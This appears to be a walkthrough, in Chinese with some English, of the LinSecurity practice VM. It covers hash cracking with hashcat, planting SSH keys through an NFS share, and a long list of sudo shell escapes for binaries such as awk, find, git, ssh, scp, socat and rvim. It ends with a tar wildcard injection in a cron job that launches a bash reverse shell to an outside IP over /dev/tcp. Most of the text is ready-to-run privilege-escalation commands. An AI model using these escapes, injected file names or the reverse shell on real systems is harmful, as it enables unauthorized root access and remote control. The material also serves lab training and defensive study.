Hash Crack(Hash cat)
bob@linsecurity:~$ cat /etc/passwd
$ echo "AzER3pBZh6WZE">hash
检查哈希类型:
$ hash-identifier AzER3pBZh6WZE
$ hashcat -m 1500 -a 0 hash /usr/share/wordlists/rockyou.txt --force
username:insecurity
password:AzER3pBZh6WZE:P@ssw0rd
NFS
$ showmount -e 192.168.8.104
Export list for 192.168.8.104:
/home/peter *
挂载到peter
获取关于peter的信息
peter的UDI是1001
$ sudo mkdir /mnt/lin_peter
$ sudo adduser -u 1001 peter
创建用户peter.
$ sudo mount 192.168.8.104:/home/peter /mnt/lin_peter -o vers=3
$ sudo ls /mnt/lin_peter -la
$ su peter
(peter)$ ssh-keygen -t ssh-rsa
(peter)$ mkdir /mnt/lin_peter/.ssh/
(peter)$ cp ~/.ssh/id_rsa.pub /mnt/lin_peter/.ssh/authorized_keys
(peter)$ ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i ~/.ssh/id_rsa peter@192.168.8.104
Root
修改NFS的共享文件夹
peter@linsecurity:~$ cat /etc/exports
发现关于strace权限提升
.
$ sudo strace -o /dev/null /bin/sh
Sudo
bob@linsecurity:~$ sudo -l
Matching Defaults entries for bob on linsecurity:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bob may run the following commands on linsecurity:
(ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less,
/usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh,
/usr/bin/git, /usr/bin/script, /usr/bin/scp
ash
ash（Almquist Shell）是一个轻量级、高效的 Unix/Linux 命令行解释器，常用于嵌入式系统和资源受限的环境中。
$ sudo ash
awk
awk 是一个用于在 Unix/Linux 系统中进行模式匹配和文本处理的强大工具和编程语言。
sudo awk 'BEGIN {system("/bin/sh")}'
bash
bash 是一个广泛使用的 Unix/Linux 命令行解释器和脚本语言，提供强大的交互和自动化功能。
sudo /bin/bash
csh
csh 是一种基于 C 语言语法的 Unix 命令行解释器，提供丰富的编程功能和用户交互特性。
sudo csh
dash
dash 是一个轻量级且符合 POSIX 标准的 Unix/Linux 命令行解释器，专为快速执行脚本而设计。
sudo dash
ed
ed是一个基于命令行的行编辑器，用于在Unix和类Unix系统中进行基本的文本编辑操作。
sudo ed
!/bin/sh
env
env是一个用于显示或设置环境变量的命令行工具，在Unix和类Unix系统中被广泛使用。
sudo env /bin/sh
expect
expect是一种用于编写和执行交互式脚本的自动化工具，常用于模拟人类用户与命令行程序或脚本的交互过程。
sudo expect -c 'spawn /bin/sh;interact'
find
find是一个用于在文件系统中搜索文件和目录的命令行工具，支持多种搜索条件和操作。
sudo find . -exec /bin/sh \; -quit
ftp
ftp是一种用于在计算机之间传输文件的标准网络协议和命令行工具，支持文件传输、目录操作、权限设置等功能。
sudo ftp
!/bin/sh
less
less是一个命令行文本查看器，用于分页显示文本文件内容，并支持搜索、导航等功能，适用于查看大型文本文件。
sudo less /etc/profile
!/bin/sh
git
git是一个分布式版本控制系统，用于跟踪文件的更改并协调多人协作开发项目，提供了版本控制、分支管理、远程仓库等功能。
A
这会调用默认的分页器，通常是less，其他功能可能也适用。
sudo git -p help config
!/bin/sh
B
帮助系统也可以从任何 git 命令中访问，例如 git branch。这会调用默认的分页器，通常是 less，其他功能可能也适用。
sudo git branch --help config
!/bin/sh
C
Git钩子仅仅是shell脚本，在下面的示例中，使用了与预提交动作相关联的钩子。任何其他的钩子也可以工作，只需确保能够执行适当的操作来触发它。现有的存储库也可以使用，并且进入该目录也可以，即，可以不使用 -C 选项。
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
man
man是一个命令行工具，用于查看Unix和类Unix系统中命令、函数和配置文件等的详细手册页，提供了丰富的帮助信息和文档阅读功能。
sudo man man
!/bin/sh
more
more是一个命令行工具，用于逐页显示文本文件内容，支持基本的浏览和搜索操作，适用于查看较小的文本文件。
TERM= sudo more /etc/profile
!/bin/sh
scp
scp是基于SSH协议的文件传输工具，用于在Unix和类Unix系统之间安全地传输文件，支持加密传输、远程复制、文件权限保持等功能。
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
socat
socat是一个用于在Unix系统中建立双向数据流连接的网络工具，支持各种类
型的连接、数据传输、代理功能等。
sudo socat stdin exec:/bin/sh
ssh
ssh是一种安全的远程登录和数据传输协议，提供了加密通信、身份验证、端口转发等功能，用于在计算机之间建立安全的连接和传输数据。
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi
vi是一款在Unix和类Unix系统中常用的文本编辑器，具有模式切换、编辑操作、命令执行等功能，适用于在终端环境下进行文本编辑。
sudo vi -c ':!/bin/sh' /dev/null
zsh
zsh是一种功能强大的命令行解释器，具有丰富的特性和高度的可定制性，提供了智能补全、历史命令管理、多种主题样式等功能，适用于提高命令行操作效率和舒适度。
sudo zsh
pico
pico是一个简单易用的文本编辑器，提供了基本的编辑功能，适用于在终端环境下进行简单的文本编辑任务。
sudo pico
^R^X
reset; sh 1>&0 2>&0
rvim
rvim可能是Vim编辑器的简化版本，提供了简化的功能和基本的编辑功能，适用于初学者或需要快速编辑文件的场景。
A
This requires that rvim is compiled with Python support. Prepend :py3 for Python 3.
sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
B
This requires that rvim is compiled with Lua support.
sudo rvim -c ':lua os.execute("reset; exec sh")'
perl
Perl是一种通用的脚本编程语言，具有强大的文本处理能力和广泛的应用领域，适用于各种编程任务和场景。
sudo perl -e 'exec "/bin/sh";'
tclsh
tclsh是Tcl的解释器，提供了一个交互式的环境，用于执行Tcl语句和脚本。
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
script
script命令用于记录和保存当前终端会话的所有输入和输出内容到一个文件中。
sudo script -q /dev/null
crontab
查看机器定时任务
在目录/home/bob创建文件,进行命令参数注入
$ echo "" > --checkpoint=1
$ echo '/bin/bash -i >& /dev/tcp/192.168.8.103/10032 0>&1'>reverse.sh
$ chmod +x reverse.sh
echo "" > "--checkpoint-action=exec=sh reverse.sh"
等待几分钟即可获得反向shell
